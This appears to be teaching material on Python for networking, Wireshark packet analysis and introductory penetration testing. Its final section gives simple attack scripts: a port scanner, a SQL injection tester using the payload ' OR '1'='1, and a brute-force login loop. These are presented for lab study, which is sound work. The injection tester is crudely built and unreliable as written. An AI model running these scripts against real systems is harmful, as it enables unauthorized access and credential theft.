Python Scripting for Network Automation

Introduction to Python in Networking

- **Overview**: Python is a powerful tool in networking, enabling automation, configuration, and testing.
- **Objectives**:
  - Understand how Python can be used to automate network tasks.
  - Learn about libraries like `scapy` and `socket`.

Python Libraries for Networking

- **Scapy**:
  - A powerful Python library used for network packet manipulation and sniffing.
  - Allows for packet crafting, sending, and receiving.
- **Socket**:
  - Provides low-level networking interface for Python.
  - Used for creating clients and servers, sending and receiving data.

Installing Scapy

- **Installation Command**:

```
pipx install scapy
```

- **Verification**:
  - Run `scapy` in the command line to enter the interactive Scapy interface.
  - Test by crafting a simple ICMP packet and sending it.

Basic Packet Crafting with Scapy

- **Crafting an ICMP Echo Request**:

```
from scapy.all import *
packet = IP(dst="1.1.1.1")/ICMP()/"Hello, world!"
send(packet)
```

- **Explanation**:
  - `IP()` creates an IP layer with `dst` as the destination IP.
  - `ICMP()` adds an ICMP echo request layer.
  - `"Hello, world!"` is the data payload.

Packet Sniffing with Scapy

- **Basic Sniffing Command**:

```
packets = sniff(filter="icmp", count=10)
packets.summary()
```

- **Discussion**:
  - Filters for ICMP packets.
  - Sniffs 10 packets and displays a summary.

Using Python `socket` for Basic Networking

- **Creating a TCP Client**:

```
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("example.com", 80))
s.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
s.close()
```

- **Explanation**:
  - Establishes a TCP connection to `example.com` on port 80.
  - Sends a simple HTTP GET request and then closes the socket.

Practical Exercise

- **Task**: Create a script to perform a simple network task using Scapy or socket.
- **Example Tasks**:
  - Craft and send a custom ARP request.
  - Create a simple server that responds to specific commands from clients.

Deep Dive into Wireshark and Packet Analysis

Introduction to Advanced Wireshark Techniques

- **Overview**: Building on basic Wireshark skills to explore deeper functionalities.
- **Objectives**:
  - Learn to use advanced filtering.
  - Analyze complex packet sequences.
  - Understand protocol-specific details in depth.

Advanced Filtering in Wireshark

- **Filtering by Protocol, IP, and Port**:
  - Examples of complex filters: `tcp.port == 80 && ip.src == 192.168.1.1`
  - Using filters to isolate specific conversations or issues.
- **Using Display Filters for Real-Time Analysis**:
  - Crafting display filters to view only relevant traffic during live capture sessions.

Graphical Analysis of Network Traffic

- **Using Wireshark's Graphical Tools**:
  - How to access and use IO Graphs, Flow Graphs, and Protocol Hierarchy.
- **Example**: Creating an IO Graph to track data rates over time.
  - Walkthrough of setting up an IO Graph with specific filters.

Analyzing TCP/IP Sessions

- **Reconstructing TCP Sessions**:
  - How to follow a TCP stream in Wireshark.
  - Analyzing sequence and acknowledgment numbers to understand flow control.
- **Identifying Retransmissions and Lost Packets**:
  - Using Wireshark to pinpoint problematic areas in communication.

Protocol Specific Analysis

- **HTTP**: Inspecting request and response headers for web traffic.
- **DNS**: Analyzing DNS queries and responses to understand website loading issues.
- **VoIP**: Tracing call setup and RTP streams in VoIP communications.

Practical Packet Analysis Exercises

- **Task**: Use provided pcap files to identify network issues, unauthorized access, or performance bottlenecks.
- **Exercise Details**:
  - Analyze a pcap file with mixed traffic and identify the cause of a network slowdown.
  - Trace a file download sequence and identify any transmission errors.

Using Wireshark for Security Analysis

- **Identifying Suspicious Activities**:
  - Techniques to detect malware traffic, exfiltration of data, and potential command and control communications.
- **Security Protocols**:
  - Analyzing SSL/TLS negotiations and identifying weak cipher suite usage.

Basic Penetration Testing with Python

Introduction to Penetration Testing with Python

- **Overview**: Utilizing Python for penetration testing to identify and exploit security vulnerabilities.
- **Objectives**:
  - Understand the role of scripting in penetration testing.
  - Learn to develop Python scripts that simulate basic cyber attacks.

Setting Up the Environment

- **Safe Practice Environment**:
  - Importance of using controlled and ethical environments for penetration testing.
  - Setup guidelines for a virtual lab using tools like VirtualBox or VMware.
- **Python and Additional Libraries**:
  - Ensuring Python is installed and set up.
  - Introduction to libraries like `requests`, `BeautifulSoup`, and `paramiko` for web scraping, SSH connections, etc.

Writing a Simple Port Scanner

- **Understanding Port Scanning**:
  - The purpose of port scanning in penetration testing.
  - Legal implications and ethical considerations.
- **Python Port Scanner Script**:

```
import socket
def port_scanner(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((host, port))
        return True
    except:
        return False
if port_scanner('example.com', 80):
    print("Port 80 is open")
```

Crafting a Basic SQL Injection Tester

- **Introduction to SQL Injection**:
  - Explanation of SQL injection and its impact on database security.
- **Python Script for Testing SQL Injection Vulnerability**:

```
import requests
def test_sql_injection(url):
    response = requests.get(url + " ' OR '1'='1")
    if "database error" in response.text:
        return True
    return False
```

Automated Script for Brute-Force Attacks

- **Understanding Brute-Force Attacks**:
  - Discuss how brute-force attacks work and their application in testing password strength.
- **Brute-Force Script with Python**:

```
import itertools
import socket
def brute_force_login(hostname, port, username, password_list):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    for password in password_list:
        s.send(f"login {username} {password}\r\n".encode())
        response = s.recv(1024).decode()
        if "Login successful" in response:
            print(f"Found credentials: {username}, {password}")
            break
    s.close()
```